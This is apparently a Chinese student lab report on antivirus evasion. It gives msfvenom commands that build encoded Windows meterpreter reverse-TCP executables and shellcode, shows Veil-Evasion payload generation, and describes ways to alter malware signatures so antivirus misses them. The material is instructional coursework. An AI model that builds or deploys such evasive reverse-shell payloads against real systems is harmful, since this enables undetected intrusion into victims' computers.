实践内容:
(1)理解免杀技术原理
(2)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧;
(成功实现了免杀的。如何做成功的简单语言描述即可,不要截图、指令。与杀软共生的结果验证要截图。)
msf编码器
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.6.113 LPORT=5329 -f exe > 5329met-encoded.exe
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.15.128 LPORT=5329 -f exe > 5329met-encoded10.exe
veil-evasion
apt-get update
apt-get install veil-evasion
use python/meterpreter/rev_tcp
set LHOST 192.168.1.111
generate
5329
1
360的检测还是比较迅速的,在我刚开始运行程序时就得到了报警预示。
接下来我们用http://r.virscan.org/来进行检测
shellcode编程
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.6.113 LPORT=443 -f c
exe文件检测报告:
cpp文件检测报告:
(3)通过组合应用各种技术实现恶意代码免杀
(4)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
博客内容:
1.基础问题回答
(1)杀软是如何检测出恶意代码的?
- 1.基于特征码的检测:分析指令的统计特性、代码的结构特性等。如果一个可执行文件(或其他运行的库、脚本等)拥有一般恶意代码所通有的特征(开启后门等)则被认为是恶意代码
- 2.启发式恶意软件检测:构成恶意代码的指令的含义,根据些片面特征去推断。
- 3.基于行为的动态分析检测:通过监视恶意代码运行过程。如利用系统监视工具观察恶意代码运行过程时系统环境的变化,或通过跟踪恶意代码执行过程使用的系统函数和指令特征分析恶意代码功能,如出现恶意行为,则属于恶意代码。
(2)免杀是做什么?
免杀,字面意思上理解,就是“反-杀毒”,也就是通过一定的手段,使得杀毒工具无法检测出来软件病毒或者木马之类的“干扰性”特征。
(3)免杀的基本方法有哪些?
免杀的方法包括:
- 1.方法一:直接修改特征码的十六进制法
1.修改方法:把特征码所对应的十六进制改成数字差1或差不多的十六进制.
2.适用范围:一定要精确定位特征码所对应的十六进制,修改后一定要测试一下能
否正常使用.
-
2.方法二:修改字符串大小写法
1.修改方法:把特征码所对应的内容是字符串的,只要把大小字互换一下就可以了.
2.适用范围:特征码所对应的内容必需是字符串,否则不能成功. -
3.方法三:等价替换法
1.修改方法:把特征码所对应的汇编指令命令中替换成功能类拟的指令.
2.适用范围:特征码中必需有可以替换的汇编指令.比如JN,JNE 换成JMP等.
如果和我一样对汇编不懂的可以去查查8080汇编手册. -
4.方法四:指令顺序调换法
1.修改方法:把具有特征码的代码顺序互换一下.
2.适用范围:具有一定的局限性,代码互换后要不能影响程序的正常执行 -
5.方法五:通用跳转法
1.修改方法:把特征码移到零区域(指代码的空隙处),然后一个JMP又跳回来执行.
2.适用范围:没有什么条件,是通用的改法,强烈建议大家要掌握这种改法.